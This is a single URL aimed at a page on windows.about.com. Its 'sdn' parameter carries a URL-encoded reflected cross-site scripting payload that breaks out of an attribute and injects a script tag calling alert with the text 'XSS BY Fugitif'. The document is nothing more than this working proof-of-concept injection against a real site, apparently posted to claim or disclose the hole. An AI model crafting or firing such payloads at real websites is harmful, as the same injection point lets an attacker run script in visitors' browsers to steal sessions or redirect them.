http://windows.about.com/gi/dynamic/offsite.htm?zi=1/XJ/Ya&sdn=%22%3E%3Cscript%3Ealert(%22XSS%20BY%20Fugitif%22)%3C/script%3E